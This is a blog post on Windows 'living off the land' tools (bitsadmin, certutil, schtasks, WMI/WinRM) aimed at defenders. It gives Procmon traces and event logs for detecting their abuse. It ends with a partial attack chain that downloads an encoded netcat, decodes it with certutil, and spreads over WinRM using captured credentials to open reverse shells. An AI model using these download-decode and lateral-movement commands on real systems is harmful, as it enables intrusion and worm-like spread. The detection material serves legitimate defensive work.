Living Off The Land: Suspicious System32

The services below are some of the most commonly abused services for malicious parties to “live of the land”. Each are built into Windows and inherit trust by default. Because of this, security controls won’t ever be able to fully isolate them without affecting the operating system. For example, your endpoint protection can’t block command prompt and Powershell because engineers use them for automation tasks, nor can it block task scheduler or certuitl. These are key services and play their own role, however because they can download or decode files, they can be used to mask malicious activity.

Below, we dive into some of the most common services and how they are being used in the wild.
I’ve also tried to show how you can identify suspicious activities or at least be aware of them. I think just being aware is a good start, especially if you are Blue team.

The key in my eyes is to start auditing Powershell and Command Line. Despite some of these attacks running as Macros, or ran under Run (explorer), they still rely on cmd.exe, conhost.exe or Powershell to achieve their goal. For the others, auditing is often enabled by default, it’s just the level of detail recorded, doesn’t give a lot of clarity.

Bitsadmin.exe

Bitsadmin is a command line tool which allows you to create jobs for downloading and uploading files. Because of this, it makes the perfect tool for downloading payloads, or necessary files to move laterally.

This can often be broken out or ran instantly. From examples seen, the jobs are built and ran after a “check” for either a file or the current environment. Unlike Certutil, Windows Defender doesn’t block the download. Below is an example of a instant job:

This can be broken out, in steps:

Powershell also has it’s only Module called Start-BitsTransfer . This module also allows you to download multiple files at once using:
Start-BitsTransfer -Source C:\clientsourcedir*.txt -Destination c:\clientdir\ -TransferType Download

When running Procmon, cmd, conhost and Powershell both interact with the following:

• C:\Windows\System32\bitsadmin.exe 
• C:\Windows\System32\en-GB\bitsadmin.exe.mui
• C:\Windows\SysWOW64\en\bitsadmin.exe.mui

Svchost.exe also writes to C:\Windows\prefetch\BITSADMIN.EXE-*

There is also an audit trail in Windows Events for Bitsadmin which is enabled by default. The logging gives clear indication of what was downloaded.

• Microsoft-Windows-Bits-Client/Operational

Remember though, attackers will hide there tracks. Because Bitsadmin gives this level of detail, they may be deleted. This can go under the radar due to lack of knowledge or because deleting them wouldn’t affect the security/application events.

HackingArticles.in did a good piece on Bitsadmin which can be found here: https://www.hackingarticles.in/windows-for-pentester-bitsadmin/

Certutil.exe

Certutil.exe is a command-line program, installed as part of Certificate services. Certutil can be used for encoding, decoding and downloading files onto the host. In the wild, the files have already been encoded, so it’s really for the decoding and downloads.

From examples, it’s more so the decoding as certutil -urlcache -split -f is often blocked by the AV.

Here is an example, when the AV is disabled:

Once we re-enable Defender, it’s blocked. It’s important to note though, not all EPs pick this activity up.

When tracking use Procmon, we can see that Powershell, conhost and cmd all touch the following:

• C:\Windows\system32\certutil.exe 
• C:\Windows\system32\certutil.exe.*
• C:\Windows\certutil.exe 
• HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe

Certutil has been abused for some time, and is most likely why EPs such as Defender block it. Some common advise is to often block the executable from accessing the internet.

For more info, SentinelOne did a good piece here: https://www.sentinelone.com/blog/malware-living-off-land-with-certutil/

I’ve also covered the basics here:

Tasksche

It’s not so much abusing the service, more so actually using it as intended. Logic bombs and timed attacks can often be performed by setting timed tasks. What Task Scheduler also allows you to do is run tasks as SYSTEM, which can be useful for backdoors or reverse shells.

Tracking should be easy within an enterprise as these are often managed by group policy. It should be rare that an engineer would use Powershell or CMD to create a scheduled task so it’s easy to track within your SIEM.

Using Procmon, we can see that Powershell and cmd touch:

• C:\Windows\System32\schtasks.exe
• C:\Windows\System32\WindowsPowerShell\v1.0\Modules\ScheduledTasks
• HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\schtasks.exe

By default, Windows also audits events under:

• Microsoft-Windows-TaskScheduler/Operational

Windows Management Instrumentation (WMI) and WS-Management (Wsman/Winrm)

WMI is a huge subject, and I’m only covering a small portion of it. When living off the land, there is a lot you can do with WMI and Wsman, but the most common is to run commands or executables, locally or remotely.

When running remote commands, it will touch on the Wsman/WinRm service. This is used when running Powershell commands such as New-PSSession or Invoke-Command -ComputerName machine-1 -ScriptBlock {hostname} -Credential $a for example. When remote recon is being ran and you are picking up the audit trail. It could indicate an intruder, rather than an automated script.

There is a lot of information you can pick up, for example, the remote machines AV solution:

When running Procmon against most of these commands, I could see Powershell and cmd interacts with the following:

• HKLM\SOFTWARE\Policies\Microsoft\Windows\WinRM\Service
• HKLM\SOFTWARE\Policies\Microsoft\Windows\WinRM\Client
• HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Client
• HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Client\BackwardsCompatibleEncryptionFormat
• C:\Windows\System32\wbem\WMIC.exe 
• HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Client\auth_negotiate
• HKLM\Software\Microsoft\Windows\CurrentVersion\WSMAN
• C:\Windows\System32\wbem\en-US\wmiutils.dll.mui 
• HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Client\ConnectionCookies\http://localhost:5985/wsman?PSVersion=*
• HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Client\trusted_hosts
• HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Client\auth_kerberos
• HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Client\auth_negotiate
• HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Client\auth_basic
• HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Client\allow_unencrypted
• HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Client\defaultports_http
• C:\Windows\System32\WindowsPowerShell\v1.0\en-GB\Microsoft.WSMan.Management.resources.exe
• C:\Windows\System32\WindowsPowerShell\v1.0\en-GB\Microsoft.WSMan.Management.resources\Microsoft.WSMan.Management.resources.dll
• C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.WSMan.Management\*
• C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.Format.ps1xml
• C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.WSMan.Management\Microsoft.WSMan.Management.psd1

Outside of the Powershell auditing, you should also be able to see Windows events here:

• Microsoft-Windows-Windows Remote Management/Operational
• Microsoft-Windows-WMI-Activity/Operational
• Microsoft-Windows-DistributedCOM

What we’ve just ran through is attacks at the most common and basic layer. From looking at a large number of examples where the above services were abused, most would be hindered if the Windows firewall restricted their internet access. This is something I’ve touched on before, here: https://securethelogs.com/2020/04/26/hacking-with-powershell-malware/

The more I learn and try to understand how attackers are winning, the more it’s apparent that auditing and monitoring is key. A good attacker will always find a way, but as long as there is some sort of bread crumb, you have a chance of understanding how it was successful.

If you’re reading this and you haven’t ever looked at these events, I would strongly advise you go hunting. You may not find an attacker but it’s good to be aware what’s normal in your environment.

Having some fun….

I thought I would build an attack and incorporate different techniques to gain a reverse shell. This one I call NetCatnRun, which I won’t share here.

The script basically downloads an encoded Netcat and queries my attackers machine for listening port. Once it has one, it waits, and then establishes a reverse shell on that port.

Once done, using my “compromised account”, it scans the subnet for open WinRm ports and runs a test to see if it can connect. If it can, it starts the process all over again on the remote machine. This then end when X.X.X.254 is hit. If I wanted to replicate further and create a worm, I could always extend the IP range past /24.

This attack was successful whilst Defender ran and used bits from a few of the services mentioned above.

Start-BitsTransfer -Source ‘https://raw.githubusercontent.com/securethelogs/Powershell/master/Tools/nc.exe’-Destination $env:TEMP\nc.exe.txt

certutil -decode $env:TEMP\nc.exe.txt $env:TEMP\nc.exe

$islive = Test-WSMan $currentip -Credential $mycredential -Authentication Negotiate -ErrorAction

SilentlyContinueInvoke-Command -ComputerName $currentip -Credential $mycredential -ScriptBlock {………….}